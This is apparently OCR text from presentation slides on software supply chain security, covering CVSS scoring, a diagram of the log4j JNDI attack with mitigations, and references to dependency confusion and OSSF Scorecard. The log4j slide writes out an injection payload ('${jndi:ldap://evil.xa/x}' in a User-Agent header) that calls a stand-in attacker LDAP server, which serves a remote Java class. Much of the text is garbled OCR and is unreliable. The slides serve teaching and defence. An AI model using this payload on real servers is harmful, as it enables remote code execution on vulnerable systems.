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CVE

CVE (Common Vulnerabilities and Exposures) https://cve.mitre.org
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CVSS Score

CVSS (Common Vulnerability Scoring System)
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CVSS & T} CVSS SCORE METRICS

A CVSS score is composed of three sets of metrics (Base, ,
each of which have an underlying scoring component.

0.0 None BASIC TEMPORAL ENVIRONMENTAL

O 1 3 9 L METRIC GROUP METRIC GROUP METRIC GROUP
" - - OW Exploitability Metrics Impact Metrics

4 . O - 6 . 9 M ed I U m Attack Vector Compatibility Impact Exploit Code Maturity Confidentiality Requirement

7 . O - 8 . 9 H ig h Attack Complexity Integrity Impact Remediation Level Integrity Requirement
9.0 -10.0 Critical

Privileges Required Availability Impact Report Confidence Availability Requirement
User Interaction Scope Modified Base Metrics

Scope
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CVSS Score
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i The log4j JNDI Attack

and how to prevent it

2 i } 3 ¢ B An attacker inserts the JNDI lookup in a The string is passed to log4j log4j interpolates the string and
' g o header field that is likely to be logged. for logging queries the malicious LDAP server.

= “”

GET /test HTTP/1.1 HTTP ${jndi:ldap://evil.xa/x} ldap://evil.xa/x
Host: victim.xa

User-Agent: ${jndi:ldap://evil.xa/x} 0 DISABLE JNDI LOOKUPS

€ BLOCK WITH WAF
€ PATCH LOG4)

Attacker Vulnerable Server Vulnerable log4j Malicious LDAP Server
http://victimxa implementation |dap://evil.xa

—0— —0— IM —9—>m

€) DISABLE LOG4)

SRR | » F8 T T — @ B

€ DISABLE (5)

o , e REMOTE n
v 2 CODEBASES \I, '
| ” public class Malicious implements _riohz; { dn:
: javaClassName: Malicious
. static {

javaCodebase: http://evil.xa
javaSerializedData: <...>

<malicious Java code>

)
4

The LDAP server responds with directory
information that contains the malicious
Java class

JAVA deserializes (or downloads) the
malicious Java class and executes it.
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2021

State . Software

Supply Chain

The 7th Annual Report on Global
Open Source Software Development
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https://www.sonatype.com/resources/state-of-the-software-supply-chain-2021
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Dependency Confusion
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https://youtu.be/MVOXJQf8tTO
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Malware
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Stealing Administrator Privileges
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Google & OSSF. Security ScoreCard v2 Al

spring-projects/spring-framework
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